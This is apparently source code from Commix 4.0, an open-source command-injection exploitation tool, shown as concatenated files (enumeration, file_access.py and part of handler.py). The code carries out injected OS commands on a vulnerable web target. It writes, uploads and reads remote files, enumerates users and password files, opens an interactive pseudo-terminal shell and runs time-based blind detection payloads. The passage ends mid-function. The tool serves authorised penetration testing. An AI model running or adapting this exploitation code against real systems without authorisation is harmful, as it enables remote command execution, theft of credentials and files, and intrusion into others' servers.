check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_single_os_cmd(cmd, shell, filename)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS:
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
checks.print_enumenation().ps_version_msg()
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.ENUMERATION_DONE = True
"""
Check stored session
"""
def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# eof commix-4.0/src/core/injections/controller/file_access.py 0000775 0000000 0000000 00000034467 14731205621 0023554 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
_ = False
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
else:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
if settings.TIME_RELATIVE_ATTACK:
whitespace = settings.WHITESPACES[0]
_ = True
cmd = checks.change_dir(dest_to_write)
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
cmd = checks.delete_tmp(tmp_fname)
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
else:
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
cmd = checks.write_content(content, dest_to_write)
if settings.TIME_RELATIVE_ATTACK:
cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
cmd = cmd + settings.COMMENT
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
if settings.TIME_RELATIVE_ATTACK:
if settings.VERBOSITY_LEVEL == 0 and not _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
if settings.TIME_RELATIVE_ATTACK:
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
cmd, dest_to_upload = checks.check_file_to_upload()
if settings.TIME_RELATIVE_ATTACK:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
if settings.TIME_RELATIVE_ATTACK:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
if settings.TIME_RELATIVE_ATTACK:
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.TIME_RELATIVE_ATTACK:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = "".join(str(p) for p in shell)
if settings.TIME_RELATIVE_ATTACK:
if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if menu.options.file_write:
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
settings.FILE_ACCESS_DONE = True
"""
Check stored session
"""
def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if settings.FILE_ACCESS_DONE == True :
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# eof commix-4.0/src/core/injections/controller/handler.py 0000775 0000000 0000000 00000110072 14731205621 0022714 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import string
import random
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.core.compat import xrange
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.core.injections.controller import shell_options
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.controller import file_access
from src.core.injections.controller import enumeration
from src.core.injections.controller import controller
"""
Exit handler
"""
def exit_handler(no_result):
if no_result:
if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
return False
else :
settings.print_data_to_stdout(settings.END_LINE.CR)
"""
Delete previous shells outputs.
"""
def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique):
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
else:
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response):
try:
checks.alert()
go_back = False
go_back_again = False
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
while True:
if go_back == True:
break
gotshell = checks.enable_shell(url)
if gotshell in settings.CHOICE_YES:
settings.print_data_to_stdout(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "exit":
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
checks.quit(filename, url, _ = False)
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
if settings.TIME_RELATIVE_ATTACK:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Export injection result
checks.time_relative_export_injection_results(cmd, separator, shell, check_exec_time)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Command execution results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if not menu.options.ignore_session:
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell or shell != "":
settings.print_data_to_stdout(settings.command_execution_output(shell))
else:
err_msg = common.invalid_cmd_output(cmd)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result:
return False
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
return True
elif gotshell in settings.CHOICE_QUIT:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
checks.quit(filename, url, _ = False)
else:
common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
settings.print_data_to_stdout(settings.END_LINE.CR)
raise
except EOFError:
checks.EOFError_err_msg()
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
settings.print_data_to_stdout(settings.END_LINE.CR)
"""
The main time-relative exploitation proccess.
"""
def do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
exec_time = 0
timesec = checks.time_relative_timesec(timesec)
if settings.TIME_RELATIVE_ATTACK == False:
checks.time_relative_attaks_msg()
settings.TIME_RELATIVE_ATTACK = None
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
checks.reload_url_msg(technique)
# Check if defined "--maxlen" option.
if menu.options.maxlen:
settings.MAXLEN = maxlen = menu.options.maxlen
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
from src.core.injections.blind.techniques.time_based import tb_payloads as payloads
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads
if not settings.LOAD_SESSION:
checks.testing_technique_title(injection_type, technique)
prefixes = settings.PREFIXES
suffixes = settings.SUFFIXES
separators = settings.SEPARATORS
i = 0
total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
exec_time_statistic = []
if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method):
try:
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method)
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
settings.TIME_BASED_STATE = True
elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
settings.TEMPFILE_BASED_STATE = True
OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT
cmd = shell = ""
checks.check_for_stored_tamper(payload)
settings.FOUND_EXEC_TIME = exec_time
settings.FOUND_DIFF = exec_time - timesec
possibly_vulnerable = True
except TypeError:
checks.error_loading_session_file()
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
else:
payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method)
else:
payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
vuln_parameter = ""
exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
# Statistical analysis in time responses.
exec_time_statistic.append(exec_time)
# Injection percentage calculation
percent, float_percent = checks.percentage_calculation(num_of_chars, total)
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if checks.time_relative_shell(url_time_response, exec_time, timesec):
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(exec_time_statistic[0:5])) == 1:
if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
exec_time_statistic = []
if timesec <= exec_time and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec)
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
checks.injection_process(injection_type, technique, percent)
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_EXEC_TIME = exec_time
settings.FOUND_DIFF = exec_time - timesec
if false_positive_warning:
time.sleep(timesec)
randv1 = random.randrange(0, 4)
randv2 = random.randrange(1, 5)
randvcalc = randv1 + randv2
if settings.TARGET_OS == settings.OS.WINDOWS:
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
rand_num = randv1 + randv2
cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")"
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""
else:
